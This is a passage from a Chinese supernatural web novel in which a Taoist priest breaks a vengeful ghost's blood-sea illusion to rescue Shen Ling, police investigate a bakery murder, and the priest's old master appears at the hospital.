沈聆断断续续地说着，她感觉到吴妄搂着她的手加重了力度，知道吴妄此刻内心也是五味杂陈。
“该走了。”
吴妄看着那如白雾一样消散的幻境，像是对自己说着，也像是对幻境中的小男孩说着。
下一秒，沈聆感觉到自己胸口微微发热，她低下头，看见胸口的灵元草正在发光。
她的灵魂被灵元草牵引着，也在脱离这个梦境。
她闭上了眼睛，感觉到自己的身体轻飘飘的，像是逐渐漂浮在半空中一样，有一种无形的力量牵引着她的身体，原先被飞刀所伤的疼痛也在逐渐减轻，她知道自己要回到身体里去了。
……
再一次睁开眼睛的时候，沈聆发现自己回到了透明棺材里。
和上一次一样，她被关在了一个透明棺材里，周围是一片血海，吴妄和秦琴也在这片血海中，他们各自都被关在了透明棺材里，这里像是某人设下的结界，血海茫茫，看不见尽头，下不见底，上不见海面，他们就这么沉浮在其中。
沈聆看见，在透明棺材里面的吴妄也缓缓睁开了眼睛。
他也刚从幻境中抽离出来，眼神还带着几分朦胧，他看向了沈聆，脑海中的印象似乎还还停留在梦醒前的那一刻。
吴妄无声地看着沈聆，视线在沈聆身上转了一圈后，确定自己梦境中对沈聆的伤害没有带到现实世界，眼眸中多了几分安心。
观察了周围一圈，他抬起手摸了摸关住自己的透明棺材，这透明棺材摸起来十分冰冷，就像是万年寒冰一样，散发着丝丝寒气，他们身处其中，不知道外面的时间，这里与世隔绝，就算是彼此说话的声音也无法透出棺材外。
——得尽快破除这个结界。
吴妄沉思着，发丝在脸颊旁轻轻飘动，他看起来像是超然世外的谪仙人，虽然被暂时困在这个地方，但眼眸中没有丝毫恐惧。
闭上了眼睛，吴妄伸出右手的两根手指，在透明棺材上画了一个符咒，他的指尖闪烁着光点，随着指尖在空中划过的弧度，一个符咒浮现在透明棺材上。
“掌控十方万物，号令八方天地，妖魔触之，即刻化为虚无。破！”
吴妄话语方落，其面前的符咒骤然绽放出一道刺目金光。
那光芒恰似利刃，狠狠击向眼前的透明棺材盖，硬生生在其上砸出众多裂痕。
吴妄微微眯起双眸，脚下瞬间浮现一张八卦图，此八卦阵极大地提升了他符咒的法力，透明棺材上的裂痕愈发增多。转瞬间，那棺材便如被击碎的玻璃一般，瞬间崩裂！
金色光芒透出透明棺材的那一刹那，吴妄抬起手，从内部直接打破了透明棺材，他的光瞬间照彻了血河。
沈聆只觉一阵刺眼光芒袭来，下意识地闭上了眼睛。
下一刻，她听到“咚”的一声，自己的棺材似乎遭到某种强大力量的撞击。睁开双眼，她看到道长竟出现在自己棺材之外。
“道长，你快离开！我担心这片血海会对你……”
话未说完，她惊愕地睁大了眼睛。
——只见吴妄果断咬破自己手指，用染血的手指在沈聆的棺材上画出一道符，最后，挥起拳头猛地砸向她的棺材。这一拳直接击碎了沈聆的棺材盖子，透明棺材被打破后，棺材外的血水瞬间涌入其中。
一阵窒息感瞬间包裹了沈聆！
她的口腔、鼻腔全都被灌
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入鲜血，浓郁的血腥味瞬间将她笼罩。她本能地挥舞着双手挣扎着，如同一个溺水之人沉浮在血海中。
想要咳嗽，可张开嘴却只是灌入更多腥臭的血液。窒息的感觉让她本能地陷入恐慌。
——早知道就提前憋一口气了！
就在沈聆满心懊悔之时，突然间，她察觉到腰间猛然传来一股强大的力量，仿佛一只无形的大手，猛地将她一把拽了过去。
还没等她反应过来究竟发生了什么事，下一刹那，一种异样而又柔软的触感轻飘飘地落在了她的唇边。
沈聆睁开了双眼，然而映入眼帘的景象却令她震惊得几乎无法言语。
吴妄那张清俊的面容此刻竟然近在咫尺，他的双唇紧紧地贴合着自己的唇畔，两人之间的距离如此之近，甚至连彼此的呼吸都能清晰地感受到。
在她看向他的时候，他也正凝视着她。
血海中，他们的发丝轻轻浮动着，吴妄一只手牢牢地拉住沈聆纤细的手腕，另一只手则轻柔地搂着她的腰，稳稳地扶住了她微微颤抖的身躯，他的体温犹如春日里和煦的阳光一般，渐渐地融化了沈聆内心深处那如冰山般的恐惧。
——道长……
与此同时，沈聆敏锐地嗅到了从吴妄唇畔散发出来的一丝若有若无的血腥气息，那股淡淡的血腥味就像是一颗投入平静湖面的石子，瞬间在他们相接的双唇间荡漾开来，弥漫在周围的空气之中。
感觉到氧气从他的口腔渡来，沈聆稳了稳心神，屏住了鼻子，接了吴妄渡来的气。
片刻后，吴妄往后退了退，两人拉开了一点距离，少女的脸庞早就羞红了，她只低下头，不敢看他。
吴妄没有说什么，他伸出手，在手掌心缓缓出现了一把桃木剑。
——得破坏到这个结界，否则我们都无法离开。
吴妄这么想着，握紧了桃木剑，手中的桃木剑早已经金光乍现。
沈见状，聆这么想着，低下头，双手放在胸前。
——能帮帮我们吗？灵元草。
在她的胸口，一株仙草若隐若现，她闭上了眼睛，在心中向灵元草祈祷着，希望能够找到结界的破绽，离开这个地方。
灵元草像是听到了沈聆的声音，它摇动着青翠的叶子，些微光点逐渐汇聚，最后，那些光落在了秦琴的透明棺材上，聚集在了一起，像是在指引着什么。
吴妄将桃木剑调转了一个方向，将桃木剑的尖端对准了第三口棺材里的秦琴。
——原来如此，秦琴的尸体是这个结界的根源。
——有人用她的身体、她的残魂织就了这个陷阱。
——要毁掉她。
他闭上眼睛，聚集剑气，睁眼的一瞬间，一挥剑，一道浩然剑气打向了秦琴的棺材。
这道剑气准确地打在灵元草指引的位置，秦琴的棺材被打得出现了一道道裂痕，像是感受到了外界的动荡，沉睡在透明棺材里的秦琴忽然睁开了眼睛看向了沈聆和吴妄，她的嘴角扬起一抹诡异的弧度。
96. 破阵
在吴妄的剑气打向秦琴的透明棺材的那一刻，血海里波涛翻涌。
棺材里的秦琴像是感应到了外部的变化，她缓缓睁开了眼睛，看着血海中沉浮着的吴妄和沈聆，嘴角扬起一抹诡异的弧度。
她全身皮肤苍白着，上面布满了黑色的血管，看起来就像是中毒一样的体征，在睁开双眼的那一瞬间，沈聆发现秦琴的眼眸里全都是血红色的。
她曾经在某人身上看到过这样血红色的眼眸。
是的。
就是那个被煞气环绕着的小女孩。
此刻，秦琴睁开的眼眸，宛如她看到的那个小女孩。
“咕嘟……”
沈聆猛地咳嗽起来，这一咳竟吐出了一个泡泡。
原来，她方才不慎被那猩红的血水给呛到了喉咙，虽然有吴妄渡气，但她此刻只觉得呼吸有点儿困难了起来，毕竟是肉体凡胎，不好在血海中待太久。
沈聆下意识地转头望向身旁的吴妄，眼神中透露出一丝无助和焦急。
注意到沈聆的视线，吴妄转过头与沈聆对视了一眼，便心领神会。
只见他迅速挥动起手中的桃木剑，那剑身在空中划过一道优美的弧线，如同闪电般直直劈向眼前这片波涛汹涌的血海，随着桃木剑的落下，奇迹发生了——他的脚下竟然缓缓浮现出一个巨大而神秘的八卦阵！
紧接着，以这个八卦阵为核心，一道道奇异的光芒从阵中喷涌而出，向着四周飞速蔓延开来，眨眼之间，这些光芒便交织成了一层坚固无比的结界。这层结界犹如一个半透明的巨型水泡，将他们二人紧紧地包裹在了其中。
透过这层结界，可以清晰地看到外面那令人作呕的腥臭味血水正不断冲击着它，但却始终无法突破其防线。结界内部则弥漫着一股宁静祥和的气息，与外界的血腥恐怖形成了鲜明对比。
“可以呼吸了。”
吴妄的声音在耳畔响起，沈聆这才猛地吸了口气，咳嗽了几声。
“她不是秦琴，秦琴早就死了……她是那个小女孩！”
秦琴微笑着，似乎在肯定沈聆说的话。
她举起了手，在她身周，黑色的煞气开始浮动，那些煞气刚开始只是在秦琴的皮肤下涌动着，如同前行在地表下的树根一样盘根错节，最后，从她的指尖散出，围绕着她的全身，将她层层包裹。
“你夺走了秦琴的尸体，为什么要让她在死后还不得安宁？！”
秦琴开口说道：“安宁？我给她安宁，谁给我安宁的。”
这小女孩虽然占据了秦琴的尸体，但说出口的声音却依旧是小女孩的声音，那声音穿透了透明棺材及血水，传到了沈聆耳畔。
“这是传音入秘之术。”吴妄视线落在秦琴身上，压低声音说道，“这家伙的修为似乎比我想象中更强一点，此刻我只是一缕神念在此，如果真的要打，我不一定能打得过。”
听到吴妄的话，沈聆也不由得攥紧了拳头。
吴妄说的是真话，如果是吴妄的真身在此，说不定还可以跟这厉鬼五五开，但现在吴妄只是一缕神念，本身就比较孱弱，能使用的真气也有限，如果要跟这个厉鬼硬刚，他们不见得能占到好处。
可沈聆同时也清楚，她不能死在这里。
她还有一个妹妹，还在ICU里，她不能就这么死掉，如果她死了，她妹妹最后一点活着的希望也会消失。
她不能就这么悄无声息地死在这里！
就在这时，一个声音从头顶传来——
“恶鬼，你还要为祸人间吗？”
那声音听起来如洪钟一般沉稳，像是从遥远的地方传来，这声音震动得血海翻腾，让透明棺材里的秦琴（厉鬼）也愣了一下。
这声音听起来很远，但是却又像是自带3D环绕声一样，从四面八方传来。
“你杀了多少人，手上有多少鲜血，你还不知悔改吗？”
这声音，听起来像是个老者的声音，虽然所说的内容是在劝人迷途知返，但他的语气深沉，带着浓郁的责备之情。
秦琴四周看了看，却看不见自己的结界是哪里出现了纰漏，为什么会有不该有的声音出现在这里。
“是谁？！这里是我的结界，应该没有人能破坏我的结界才对！”
“你自以为自己的能力可一手遮天，却不知‘人外有人、天外有天’，哼，实在是可笑，亡故的人不早早转世，还在人间为非作歹，实在是一场业障！”
那声音说着，一道刺眼的光从上而下落在秦琴身上。
那道光似乎带着灼烧的能力一般，当光线落在秦琴身上的时候，她身上开始冒出丝丝白烟，仿佛被硫酸泼到了一般，又仿佛被光线灼痛，她双手环抱着手臂，开始惨叫了起来，蜷缩起身体，本能地开始逃避那不知从何而来的光。
“……师傅。”吴妄喃喃着，看着秦琴被这道光灼烧，他大概知道发生了什么事情。
“什么？”沈聆没有听清楚吴妄的话，只是转过头看向吴妄。
“我们有救了。”吴妄悲喜不辨地淡淡说了一句。
“太好了！”沈聆眼中一亮。
但随即，她并没有看出吴妄有任何喜悦之情。
“怎么了？”
“没什么，只是不希望那个臭老头插手而已。”吴妄阴沉着脸，略带不服气地说。
在那完全由透明材质打造而成的棺材之中，秦琴的身体正遭受着刺眼的光灼烧，这道光像是从人间而来，穿透了阴间的死气沉沉，使得她浑身上下都开始冒出缕缕白色烟雾。
“嘶……”原本萦绕在她周身的浓烈煞气，伴随着这道光的持续作用，也正在一点一点地被驱散开来。
沈聆眨了眨眼睛，仔细看去，可以发现她表皮之下那些如蛛网般密布的黑色血管正以肉眼可见的速度缓缓隐去，仿佛它们从来就不曾存在过一般。
而秦琴那双曾经充斥着血腥之色、令人不寒而栗的血红色眼眸，此时其中的红色也如同潮水退去一样渐渐消散，最终恢复成了正常人类所拥有的深邃黑色眼瞳。
就在这一刹那间，一种难以言喻的感觉涌上心头。
沈聆隐约之间似乎看到有某种神秘莫测的东西，正从秦琴已然毫无生机的尸体内被强行剥离出来，那东西呈现出一团漆黑如墨的烟雾状，刚一脱离秦琴的身躯，便迅速朝着周围那一片弥漫着刺鼻血腥味的血海逃窜而去。
眨
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眼工夫，它便消失在了茫茫血雾之中，再也寻不到半点踪迹。
随着这股诡异黑烟的离去，秦琴的尸体像是失去了支撑一般，再一次重重地躺倒了下去。
她紧闭双眼，面容安详平静，终于恢复到了其生前该有的模样，就好像之前所经历的一切可怕遭遇都只是一场噩梦而已。
“吴妄，你这小子还真是有辱师门啊。”
那声音话锋一转，说出了一句扎心窝子的话。
吴妄翻了个白眼：“我用一缕神念拼到现在已经很不容易了好吧，你到底从什么时候开始旁观的，也不早点出手，你这不仗义啊臭老头。”
“从什么时候开始旁观？大概是从你亲了那个女孩子开始，啧啧啧……”
一听到这句话，沈聆的脸绯红了一片，她低着头不敢说话，似乎身旁有许多双眼睛正盯着她。
“哟，脸红了，还是个害羞的姑娘，看来是人家的初吻啧啧……年轻就是好啊……”
“行了臭老头，给我闭嘴！”
吴妄说着，带着几分气急败坏一般用力一挥手中的桃木剑，他的剑气打向了秦琴的棺材，那道光应声消失。
沈聆低着头不敢说话，甚至不敢看一眼吴妄。
——早知道让厉鬼打死算了。
她咬着下唇，攥紧拳头暗暗想着。
吴妄尴尬地咳嗽了一声，岔开了话题：“那个……碍事的家伙应该是逃走了，刚才灵元草已经找到了阵眼，我现在就把迷障破了。”
他说着，桃木剑划过，剑气最后一次打向了秦琴的透明棺材。
灵元草指引的光点，就是这个血海迷阵的阵眼，在吴妄的剑气突破了阵眼之后，血海翻涌，整个迷阵开始崩塌。
收起了手中的桃木剑，吴妄用手轻轻遮住了沈聆的双眼，失去了视觉的那一刻，沈聆下意识地抬起手，吴妄握住了她的手。
“迷阵塌陷后，厉鬼残留的煞气和桃木剑的剑气对冲，会刺伤凡人的眼睛。”
吴妄的声音在耳畔响起，听起来格外令人安心。
沈聆轻轻地颔首示意。
就在此时，四周开始剧烈地震颤起来，仿若世界末日一般。然而，面对这突如其来的天崩地裂和迷阵的轰然崩塌，沈聆心中却没有任何慌乱之情。
在她眼前，有一只温暖而宽厚的手掌，就那样稳稳地放置在她的双眸之前。
不知怎的，仅仅是这样一个简单的动作，便让她感到一种前所未有的安心与宁静，仿佛这只手有着神奇的魔力，可以替她阻挡住来自外界的所有伤害与危险。
也不知究竟是什么原因，一股强烈的睡意如潮水般向沈聆席卷而来。
她只觉得自己的脑袋变得昏沉无比，沉重得好似灌了铅一般，但奇怪的是，此刻的她并未对此产生抗拒之意，而是选择顺从那股浓烈的睡意。
于是，她缓缓地闭上双眼，身体渐渐放松下来，最终沉沉地进入了梦乡之中。
或许连沈聆自己都未曾察觉到，她已经太久太久没有像这般如此安稳地沉睡过了。
在这个动荡不安的世界里，能够拥有这样一份难得的平静与安宁，对她来说无疑是一种极大的慰藉。
97. 槐树树洞
在那虚幻而迷离的梦境骤然崩塌之后，吴妄和沈聆两人如同被一股无形的力量从这奇异的幻境之中生生抽离了出来。
在抽离了那个奇怪的幻境之后，吴妄的神念也回到了自己的身体。
此时，一直安静地靠在吴妄身旁的那只名为“警长”的黑猫忽然动了动尖尖的耳朵，似乎察觉到了某种异样的气息。它那圆溜溜的大眼睛眨了眨，然后缓缓抬起了毛茸茸的小脑袋，目光径直投向了坐在旁边的那位道长。
它已经等了很久了。
一直没有等到吴妄醒过来。
但此刻，它好像等到了什么转机。
动物的感知远远比人类更加敏锐，它察觉到了有什么东西回到了吴妄身上，或许那就是能唤醒吴妄的东西！
“喵……”
黑猫抬起头看着吴妄，只见道长此刻双眉紧皱，仿佛陷入了一场可怕的梦魇之中无法自拔。
他的身躯微微颤抖着，时不时还会动一动，额头之上更是布满了细密的汗珠，就连双手也紧紧握成拳头，青筋暴起。
“喵……”
警长小心翼翼地凑近了过去，伸出粉色的鼻尖轻轻地触碰了一下道长的身体。
就在下一秒钟，道长猛地惊醒了过来！
他那双紧闭的双眼霍然睁开，眼神中透露出一丝刚刚回归本体的疑惑。
与此同时，他清晰地感觉到好像有什么东西正在用力拉扯着自己的衣角。
于是，他下意识地低下头朝着那个发出奇怪小动静的方向望去，结果惊讶地发现竟然是刚才那只黑猫正乖巧地蹲伏在自己脚边，静静地等待着他完全清醒过来。
“……你是沈聆养的那只猫。”
“喵。”
“你是特地来求救的吧。”
“喵。”
警长眨了眨眼睛，用嘴巴咬着道长的衣角，小屁股往后拱着，像是想要将他往某个方向带去。
“你放心，我刚才就和她在一起。”
“喵？”
“嗯，她的身上带着我的符咒，在她的血染上符咒的时候，我的神思得以传送到她身边，不用担心，我们已经破了厉鬼的幻境，现在应该都回到了现实世界才对。”吴妄说着，四处张望了一下，“但是她会在哪里呢？”
吴妄并不是真身进入厉鬼的幻境。
因此，他就算从幻境里出来，也是神思回归本体。
但沈聆不一样，沈聆整个人都进入了另一个空间里，要从另一个空间挣脱出来可能会付出一定的“代价”，当务之急，必须要找到沈聆在哪里，毕竟她身上带着的灵元草是厉鬼一直以来觊觎的东西，她既然能出手一次，就会出手第二次，灵元草对于修炼的人而言是提升修为的良方，厉鬼不会轻易放弃的。
吴妄这么想着，他拍了拍自己的衣服，站起了身，警长乖巧地跳到了他脚边，似乎想跟着他找到自己的主人。
——该去哪里找她呢……
吴妄思考了一下。
他刚才一瞬间传送到沈聆身边，但他并不知道当时沈聆的位置是在哪里，毕竟今天一整天他都不在沈聆身边，不知道她究竟经历了什么，但按照他的推测，沈聆就算回到现实世界，应该和她失踪的地方大差不差，毕竟时空不会扭曲太久，一个大活人消失后，再回来时，大概率会回到她消失前的地方。
“喵……”
警长咬了咬吴妄的裤腿，示意他跟着自己走。
“你知道她在哪里出事的吗？”
“喵。”
警长的声音十分肯定，它转头往另一个方向跑去，吴妄忙跟上了它。
……
与此同时。
在新隆公寓楼下的面包店里。
林凌和同事们正在勘察案发现场。
现场有许多不明血迹，大片大片的血迹染红了狭窄的走廊的墙壁，除此之外，他们还发现了面包店老板的尸体，法医到现场后，大致判断了一下面包店老板的死因是窒息而死，而且应该是被某种咬合力很强的东西瞬间咬断了（或者说是扭断了）脊椎，但奇怪的是，经过痕迹鉴定科同事的鉴定后，并没有在现场发现类似凶器的东西。
没有人知道他是怎么死的。
这个面包店本身就是他的日常活动场所，现场到处都是面包店老板的指纹，没办法判断他生前的最后一刻究竟触碰过什么东西，更进一步的推测还需要细化现场的勘查工作，并且要调取面包店里的监控系统，看看会不会拍到面包店后半部分的情况。
此外，他们在走廊的小房间里发现了五个罐子，上面放着五个人的照片，警方比对了五个人的信息后发现，这五个人都是近年来意外死去的人，这些人有一个共同点——刚开始都是家属上报失踪人口，最后找到了蛛丝马迹证明他们是死于意外，最后因为找不到尸体而草草结案。
没想到，这些人的失踪和死亡并不是意外。
他们的希望或许有更多的隐情。
甚至于，是一场可怕的阴谋。
现场也有知道一些阴阳秘术的人，在看到了现场的布置后，大概率猜出了面包店老板的动机，但这些毕竟也只是坊间传闻，没办法作为呈堂证供，而且这个案子的核心人物——面包店老板已经死了，所有的推测全都变成了推测，他没办法亲口认罪，就像他没办法供述自己满是遗憾的人生。
在吴妄跟着警长来到面包店的时候，正看到两个警员将面包店老板的尸体搬上了运输尸体的车，他们将尸体放在担架上，上面盖着白色的布，面包店老板就这么一动不动地躺在那上面，结束了自己短暂的一生。
此外，许多警员在面包店里忙进忙出，痕迹鉴定科的同志将那五个罐子也一起拿上证物车的时候，恰好和吴妄擦肩而过，他在看到那五个满是阴气的罐子的时候，就大概知道这里发生了什么。
老李一家正对着李子晨的罐子伤心地哭着，他们在看到罐子的时候，大概也猜到自家孩子的遭遇，但现在除了伤心，似乎也无济于事。
他们的照顾不周，间接导致了孩子的失踪和死亡，孩子的父母，下半辈子或许都要在愧疚中度过。
“……冤孽。”
他微微眯起眼睛，只说了这么一句话。
没想到，这个世界比他想象中要更加疯狂一点。
“道长，你怎么来了？”在现场忙进忙出的林凌看见了吴妄
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，忙招呼着上来了，在他身后，宋明夷老老实实地跟着，身上也缠了一些纱布，眼眶红红的，看起来刚哭过一场。
“道长，你知道沈聆在哪里吗？”宋明夷看到吴妄像看到救星一样，忙凑上前问道，“刚才你和她不是一起被抓走了吗？”
“嗯，我和她被困在厉鬼的幻境里面，不过还好，现在都搞定了，我们从那里面出来了。”
闻言，宋明夷侧过脑袋，环视了一圈，但并没有看到沈聆的身影，她疑惑地蹙眉看着吴妄。
“那……沈聆呢？”
“我也正在找她。”
“啊？她没在你身边吗？”
“没有，毕竟我和她不一样，我只是神念入幻境，在幻境塌陷之后，我的神念就回到了身体上，但她不一样。”
“那……”宋明夷说着，着急了起来，“那……那我们要去哪儿找她啊？”
“喵——”
就在这时，警长抬起脑袋叫了一声。
众人看向了这只黑猫，只见它动了动一对招风耳，毛茸茸的尾巴在身后竖起，柔软的爪子踩在冰冷的地面，它微微低下头，像是嗅着空气中若隐若现的气息，在那复杂的气味中，它察觉到了一丝熟悉的味道。
“喵——”
警长抬起头看向了公寓的另一头，它朝着那边跑去。
“警长！你是不是发现了什么？！”宋明夷灵机一动，忙跟了上去。
林凌和吴妄也紧随其后。
只见警长绕过了公寓，跑向公寓前的那棵槐树。
在那伸手不见五指的漆黑夜色里，这棵槐树宛如失去生机的枯木一般静静地矗立着。
它那粗壮无比的树干犹如巨人的脊梁，坚实而稳固地扎根于大地之中。
然而，与普通树木不同的是，这棵槐树上竟没有一片树叶，只有那些光秃秃的枝干从树干的末端肆意伸展而出，这些枝干有的笔直向上，仿佛要刺破苍穹；有的则弯曲盘旋，如同蜿蜒的蛇身，它们横亘在半空中，交错纵横，相互交织，形成了一幅奇异而又令人心生敬畏的画面。
远远望去，这些枝干仿佛是一双双巨大的手，硬生生地将宁静的夜空划分成了一个个不规则的裂块，使得原本完整的夜空变得支离破碎，充满了神秘和诡异的气息。
“喵……”
黑猫跑过了新隆公寓，来到了那棵粗壮的老槐树前。
它跳跃着，跳上了这棵枯树。
“警长！”
宋明夷跟着警长跑到了槐树旁边，只见黑猫停在了槐树的树洞前，它微微低下头，视线朝下，似乎正看着树洞里的什么东西。
“喵……”
宋明夷伸长了脖子往前一看，发现树洞里似乎有个东西。在她身后，吴妄和林凌也赶了过来。
“有人在里面！”
她说着，拿出手机，打开了手机的照明功能，手机的光亮一下子照彻了黑洞洞的树洞，在光亮下，他们看到一个年轻的女子正沉睡在树洞里，她微微蹙着眉头，咬着下唇，像是被困在了某个噩梦里，双手环抱着双臂，她脸色苍白，蜷缩着身子，看起来宛如在母体中沉睡的胎儿。
“沈聆！”
98. 故人
在吴妄、林凌、宋明夷将沈聆从树洞里挪出来的时候，他们发现，在树洞里还躺着另一个人。
不，与其说是人，更不如说是尸体。
没错。
是秦琴的尸体。
她的尸体已经近乎是半腐烂的状态，虽然吴妄在幻境里看到的秦琴仍旧是沉睡的面貌，但在现实中，她的身体早已经开始慢慢腐烂、发臭，她的尸体已经略微肿胀，并且皮肤上有大块大块的尸斑，这一切都在提示着她的身体正在一点点化为腐朽，她的灵魂已经离去，她的肉身也将在人间一点点糜烂。
林凌叫来了更多的警察帮忙将秦琴的尸体送回殡仪馆。
虽然李辉队长还是难以相信秦琴的尸体是自己尸变后离开殡仪馆的，但是在千里之外的新隆公寓里发现了殡仪馆丢失的尸体还是让他感觉到难以置信。
今天晚上的事情太多了。
他们先后发现了尸体、放满尸油的罐子以及丢失的尸体。
李辉是绝对不吃鬼神一说的，当宋明夷努力认真地告诉他这里发生的一切时，他看着宋明夷的眼神就像看着萨满跳大神的眼神一样，他甚至暗暗告诉林凌：宋明夷这个人有点问题，应该带这个朋友去精神科看看。
众人见李辉是不相信这套说辞的，于是作罢。
但老李作为亲眼看见李子晨的鬼魂被召唤出来的人，他还是多少对这些事情带着几分敬畏之心，毕竟是李辉的叔叔，因此对李辉说了几句，这件事情就轻轻带过了，对外，只说是面包店的老板在自家的面包店发生了心梗，年纪轻轻就猝死在面包店。
而另外五个被做成小鬼的人，因为这件事情的影响太大，会造成民心惶恐，因此也不打算对外公布这件事情的详细进展，所有的一切调查结果都被封存在警方的资料档案室里，作为日后调查的佐证。
毕竟，真凶已经死了，那五个人的冤屈也算是一命偿一命了。
况且，宋明夷是亲眼看着他们五个离开的，知道在他们死前并没有纠结于自己为什么被杀死这件事情，而是带着对这个人间的无限留恋去了下一世，希望他们在下一世能够投胎转世到一个好人家，并且继续自己未了的缘分。
话分两头。
在小伙伴们将昏迷中的沈聆送到平安医院的时候，外婆不知道什么时候已经等在平安医院了。
这位八十多岁的老人家深夜坐在平安医院的一楼大厅里，满头白发的她，在那一刻看起来格外沧桑。
她似乎自己等了很久很久，在抬头看见吴妄抱着沈聆进入医院大厅、身后跟着林凌和宋明夷的时候，对这件事情大概猜到了几分。
在看到昏迷中的外孙女后，老人家表示并不需要送去急诊，虽然众人还是半信半疑地请医生对沈聆检查了一番，但医生的诊断的确是没有任何外伤——她体内的灵元草让她今晚受的伤在送到有医院的过程中便都愈合了，哪怕是头部检查也没有发现什么血块或者是肿包。
但奇怪的是，沈聆就这么沉睡着，不明原因的沉睡着，宛如童话故事里被下了诅咒的人，她的呼吸很均匀，神态也看不出什么痛苦，她就这么沉睡着，无论外界的动静多大，都没办法唤醒她。
现代医学没办法做更多的事情，于是只能简单地开一个葡萄糖，让有低血糖状况的沈聆在休息室输液。
于是乎，沈聆就这么靠着椅子睡着，右手插着针，葡萄糖溶液一点点输入她的身体里，让她在昏迷期间也不至于低血糖休克。
在大家都坐下的时候，众人开始梳理这漫长的一天发生的事情。
首先是宋明夷。
她跟外婆大致说了一下今天白天在老李家发生的事情，以及他们如何在灵堂前唤魂、唤出了李子晨，随后，他们三个在楼梯间里找到了流浪汉，并且带走了流浪汉之后，她和沈聆因为怀疑面包店有问题，于是打算深夜潜入面包店暗自调查一番。
当然，当说到这里的时候，宋明夷就被林凌劈头盖脸地教育了一顿。
她们只是两个女孩，身上没有任何可以用于自卫的工具，就这么冒冒失失地闯入面包店，这不是自投罗网是什么？而且对方还是一个成年男性，要知道，男性和女性有天生力量上的差距，就算她们有两个人，对方要用点手段放倒她们还是轻而易举的，况且对方还是一个穷凶极恶的赌徒，这样的人，是不怕死的，比起死亡，他们更怕自己做的丑事被发现，这样的人，惹怒了他们，是没有好果子吃的。
宋明夷连连点头，表示已经认真听取并吸收了林大警官的意见，但林凌看宋明夷那样子，估计还是好了伤疤忘了痛，下一次说不定还会犯类似的错误，只能摇了摇头叹了口气。
随后，宋明夷开始夸张地说自己看到的被煞气缠绕的女鬼。
“好家伙！那一阵子真的是昏天黑地，杀气冲天！我从来没有看见过这么可怕的厉鬼，她浑身都是血，笑着的时候嘴巴直接裂开到嘴角，嘴巴里也全都是尖牙，看起来就要扑上来咬我一口！而且警方在面包店里发现的那五个罐子，其实都是她指使面包店老板做的小鬼！她可坏了！自己没办法做的事情，就驱使活人当她的刀！”
沈聆的外婆默默听着宋明夷的话，沉下了眼眸。
“就在那时，吴妄出现了！他好像瞬间传送到沈聆身边一样，天神降临啊！婆婆，你知道吗，我本来以为我和沈聆都要死了，还好道长出现了！他挡住了恶鬼的煞气，还奋不顾身的拉住沈聆的手，和沈聆一起被拉入了那摊血水里！”
外婆听着，看向了道长：“这是青城山的秘术？”
吴妄点了点头：“区区皮毛之术，不值一提。”
外婆沙哑着声音，咳嗽了一声：“那个厉鬼看起来盘踞在陵川市许久了。”
“是的。”吴妄点了点头，沉声说道，“其实，从沈聆在街头祭拜母亲的时候，我就注意到那个厉鬼了，她的传音入秘很厉害，从始至终，我都没有接触到她的真身，但是她频频出现在陵川市，我怀疑，她的真身就在陵川市的某个地方。”
“这么说，殡仪馆后面的干尸坑也是她的‘杰作’？”林凌皱起眉头，感觉到事态前所未有的严重。
如果犯人是活人，那么他会用尽一切手段将犯人逮捕归案。
但现在，犯人似乎已经超脱了人类所能把控的领
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域，他这就犯难了。
和今天晚上的面包店一案一样，已经没办法通过人类的法庭对其审判，那么他作为人间的执法者，能做的事情就大大受限了。
“婆婆，您的外孙女身上有秦琴给的灵元草，虽然这宝贝能给她快速自愈的能力，但也让她成为众矢之的，眼见的那个厉鬼就是一个觊觎灵元草的人，我想，她既然已经知道了灵元草在沈聆身上，就会再一次对沈聆出手。”吴妄说着，看向了昏迷中的沈聆，他的眼眸染上了几分担忧，“我没有办法每时每刻在她身边，您是她的亲人，也是曾经的阴厨，希望您能多留意一点周围的奇怪之处……不过也无需太过担心，我想，那厉鬼今天被我师傅所伤，可能会暂时休养一段时间后再出现。”
“师傅？”外婆微微抬起头，她倒是没想到这件事情里面还牵涉到了另一个世外高人。
她是知道凭借这几个小辈的能力是没办法解决这个麻烦的，但是没想到那暗中出手的人或许也是自己的熟人。
她的眼神复杂了几分，像是想起了过去的某些事情。
“对，我和沈聆被拉入血水后，我们进入了厉鬼的幻境里，那个幻境是以秦琴的身体为阵眼布下的迷阵，因为秦琴曾经是灵元草的主人，因此在幻境里的沈聆能够借助灵元草的力量破除幻境。”
“但是她现在怎么昏迷了？”宋明夷提问。
这个问题，倒是让吴妄面露难色。
他也不知道这个问题的答案。
明明在幻境崩塌的那一刻，沈聆看起来都好好的，但是不知道为什么，她似乎没有完完全全从幻境中离开，□□像是离开了，但是就是醒不过来。
但外婆看着沉睡中的沈聆，倒是想起了什么。
是的。
她记得在沈聆第一次祭魂的时候，右肩留下了五道抓痕，那抓痕看起来像是小孩子的手留下的，并且还泛着黑色的尸毒。
如果这一次作祟的也是同一只厉鬼，那么沈聆身上的旧伤，或许就是她此刻昏迷不醒的关键。
在外婆沉思的时候，忽然听到医院走廊传来了一阵脚步声。
她转头向门外看去，而吴妄在外婆之后，也察觉到了有人靠近。
“婉婉，看来这世间还有你做不到的事情啊——”
人未到，音先至。
一个声音从走廊外传入了休息室里，众人寻声看去，只见一位白发白眉的老者走进了房间——
他身着一袭古朴的灰色道袍，那道袍虽然简洁，但却给人一种庄严之意。
远远望去，他身形挺拔如松，仙风道骨之态令人心生敬仰与向往，瞧那面容，虽能看出已至六七十岁的年纪，岁月在他的脸上留下了浅浅的纹路，那一道道纹路仿佛在诉说着过往的沧桑故事。然而，他的双眸却依然明亮如星，闪烁着睿智的光芒。
当他开口之时，声音如洪钟般响亮，那声音中蕴含着岁月沉淀下来的沉稳与自信，让人不由自主地停下脚步，静静聆听，而他走起路来，步履矫健，步步生风，每一步都沉稳而有力。
看见来人，外婆不由得啐了一口：“老东西，你怎么还没死。”
99. 玉蘅子
众人寻声看去，只见一位头发、眉毛、胡子全都花白了的老者出现在门口，他瘦削的身材外面罩着宽大的道袍，脸上密布皱纹但更显历经年岁过后的庄严，他说话的时候声若洪钟，完全不像是六七十岁的老人家，步履稳健，如踏祥云，在他走过时，便能嗅到隐隐约约的檀香气息。
外婆看见走入休息室的那个老爷子时，忍不住啐了一口：“老东西，你怎么还没死。”
听到外婆的这句话，老爷子不但没生气，反倒是乐呵呵地笑了。
“你都还没驾鹤西去，我怎么敢抢在你前面。”
“你这个老不死的东西，你这是在咒我？”
“哪敢哪敢，我开谁的玩笑也不敢开婉卿的玩笑呀。”
